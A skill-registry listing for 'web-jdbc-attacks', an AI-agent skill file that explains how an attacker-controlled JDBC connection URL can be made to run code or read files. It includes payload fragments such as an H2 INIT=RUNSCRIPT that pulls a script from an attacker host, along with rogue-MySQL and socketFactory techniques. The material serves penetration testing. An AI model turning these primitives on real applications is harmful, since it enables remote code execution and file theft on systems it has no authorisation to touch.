web-jdbc-attacks
Turn an attacker-controllable database connection string / JDBC URL into RCE via the driver itself. Load when an app lets you set a DB host/URL/driver: a "test connection" form, a data-source config, an ETL/reporting/integration tool, or a processor that takes a JDBC URL. Signals: a jdbc: URL field,
v2026.10.14-ee0e0c54 instalaciones+4 en 7 días27 EstrellasMITsincronizado hace 22 horas
Instalar
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$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install noorqureshi/web-jdbc-attacksEscribe en ~/.notholy/skills después de comprobar la firma y el SHA-256.
FirmaFirmado, ed25519
Paquete6298725d…d408600e
6298725d9d84…8532d408600e1 archivo · 1.9 KBEscaneoBajo1 hallazgo
- Enlaces a dominios externos
Fuentegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-jdbc-attacks@ee0e0c5
Esta entrada todavía no está escrita en tu idioma, así que aparece en English.
En esta página
When it applies
An application lets you influence a database connection — a full JDBC URL, host/port, or driver properties — via a "test connection" button, a data-source/integration config, or a processor in an ETL/automation tool (NiFi, Mirth, reporting suites). The connection itself becomes the exploit: several JDBC drivers execute code or read files as a side effect of connecting.
Why it works
JDBC drivers do more than open a socket — they honor URL properties that were designed for convenience and are dangerous with an attacker-controlled URL. You don't need valid credentials to a real DB; you point the driver at your server (or an in-process engine) and let a driver feature run code in the app's JVM.
Method
- Find the controllable knob — a JDBC URL field, or host/params you can edit; a "test connection" action that dials out is ideal (blind-friendly, no data needed).
- Confirm outbound control — point it at a listener you own and watch for the driver's connection (OOB proof the URL is honored).
- Pick the driver primitive:
- H2 —
CREATE ALIASmaps a Java method to SQL, soINIT=RUNSCRIPT FROM 'http://you/x.sql'(or an inlineCREATE ALIAS ... AS $$ ... $$) executes Java on connect → RCE in the JVM. A classic when an app lets you set an H2 JDBC URL (e.g. via a processor's connection pool). - MySQL (malicious server) — a rogue MySQL server +
allowLoadLocalInfile=true/autoDeserialize=true/queryInterceptorscan read client files or trigger deserialization gadget chains in the connecting app. - PostgreSQL / others —
socketFactory/socketFactoryArgand similar properties can be abused to instantiate attacker-named classes.
- H2 —
- Escalate deserialization where the driver pulls objects — combine with
web-deserializationgadget chains on the classpath. - Report the impact, not the connection — RCE/file-read in the app context, validated per
reporting-triage-validation.
Gotchas
- No real DB required — the point is the driver's behavior; a "test connection" that "fails" may
still have executed your
INIT/read your file. - Property allow/deny lists vary by driver version — a blocked property (patched
autoDeserialize) doesn't mean another (H2INIT) is blocked. - Classpath decides deserialization impact — no gadget on the classpath, no RCE that way; pivot to a driver that runs code directly (H2).
- Egress-filtered targets — favor in-process primitives (H2 inline
CREATE ALIAS) over fetch-from-URL when the app can't reach you.
Verify success
Code execution or file read in the application's JVM/host from a connection you controlled (e.g. an
H2 CREATE ALIAS command runs, or an OOB hit + a returned file), not merely a reflected error.
References
"Make JDBC Attacks Brilliant Again" research; H2 CREATE ALIAS/INIT docs; MySQL JDBC client
properties; CWE-502/94. Related: web-deserialization, web-ssrf.
Archivos de esta versión
- SKILL.md3.7 KB
Permisos
| Permiso | Declarado | Hallado en el escaneo |
|---|---|---|
| Lee archivos | No | No |
| Escribe archivos | No | No |
| Ejecuta comandos de shell | No | No |
| Usa la red | Sí | Sí |
| Usa conectores | No | No |
| Controla un navegador | No | No |
Hallazgos del escaneo
Revisado el 13 nov 2026
- InfoEnlace · Enlaces a dominios externos
Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.
| Versión | Publicada | Commit | SHA-256 | Firma | Cambio de permisos |
|---|---|---|---|---|---|
| v2026.10.14-ee0e0c5 | 13 nov 2026 | ee0e0c5 | 6298725d | Firmada | – |
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